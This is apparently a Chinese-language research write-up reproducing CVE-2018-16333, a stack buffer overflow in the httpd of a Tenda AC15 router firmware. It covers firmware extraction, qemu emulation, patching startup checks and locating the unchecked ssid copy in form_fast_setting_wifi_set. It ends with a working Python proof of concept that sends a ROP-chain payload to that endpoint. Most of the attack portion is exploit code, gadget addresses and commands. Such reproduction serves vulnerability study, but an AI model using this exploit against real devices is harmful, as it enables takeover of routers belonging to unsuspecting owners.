复现 CVE-2018-16333

使用binwalk

docker run -t -v "$PWD":/analysis binwalkv3 -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin

目录结构如下

./firmwalker.sh /root/pwn/iot/squashfs-root ./ac15.txt

cp $(which qemu-arm-static) ./
sudo chroot . ./qemu-arm-static ./bin/httpd

卡在了

0x2E50C处打断点

调试可以发现卡在了check_network这一步,patch掉这个循环

重新运行

根据字符串进行定位继续patch 成功运行起来但是ip地址错误

根据字符串定位 ip来自于

sub_29818:
	cp = g_lan_ip;
	dword_101A7C = sub_1B84C(cp, n0xFFFF, (int)websAccept, 0);
sub_1B84C(cp,,,):
	*(_DWORD *)&s.sa_data[2] = inet_addr(cp);
	ip = inet_ntoa(*(struct in_addr *)&s.sa_data[2]);

g_lan_ip是全局变量,来自于

sub_2E420:
	GetValue("lan.ip", s);
    strcpy(g_lan_ip, s);

进入动态调试

b * 0x002E6B0

我们获取的ip为br0的ip 创建名称为br0的网桥

ip link add name br0 type bridge
ip link set br0 up
ip addr add 10.0.0.1/24 dev br0
ip addr show br0

访问: 10.0.0.1:80

这是因为我们只启动了httpd

cp -r webroot_ro/ webroot

我们搜索ssid 我们在字符串中没有找到单独的ssid,选择搜索ssid对应的`73 73 69 64

我们可以找到在接口form_fast_setting_wifi_set中,存在缓冲区溢出漏洞

没有对ssid的长度检查便直接进行复杂到了栈上的变量中

跟踪

加载本地符号库

set solib-search-path /root/pwn/iot/squashfs-root/lib
b * 0x6706C

调试发现

不过由于我们在第二次strcpy依旧要用到src,我们需要向src写入一个可读的地址同时还不能被截断

确定libc基地址

libc_base = 0x40a29508 - 0x3E508

0x00040cb8 : mov r0, sp ; blx r3
0x00018298 : pop {r3, pc}

poc

#!/root/com/conda/envs/pwn/bin/python

from pwn import *
import requests

# 禁用代理
session = requests.Session()
session.trust_env = False

URL = "http://10.0.0.1:80/goform/fast_setting_wifi_set"

elf=ELF("./httpd")
libc=ELF("./libc.so.0")

libc_base = 0x40a29508 - 0x3E508
binsh = 0x00626D2+libc_base

pop_r3_pc= libc_base+0x00018298
mov_r0_sp_blx_r3= libc_base+0x00040cb8
readable_addr = libc_base+0x64144
puts_addr = libc_base+0x35CD4 #不可以使用plt因为会发生截断

p=b""+p32(pop_r3_pc)+p32(puts_addr)+p32(mov_r0_sp_blx_r3)+b"HELLO"

payload=b'a'*(0x40800298-0x40800238)+p32(readable_addr)+b'a'*(0x408002b4-0x4080029c)
payload+=p

cookie = {"Cookie":"password=jiy23f"}
data_ = b"ssid="+payload

session.post(url=URL, cookies=cookie, data=data_)
sleep(1)
session.post(url=URL, cookies=cookie, data=data_)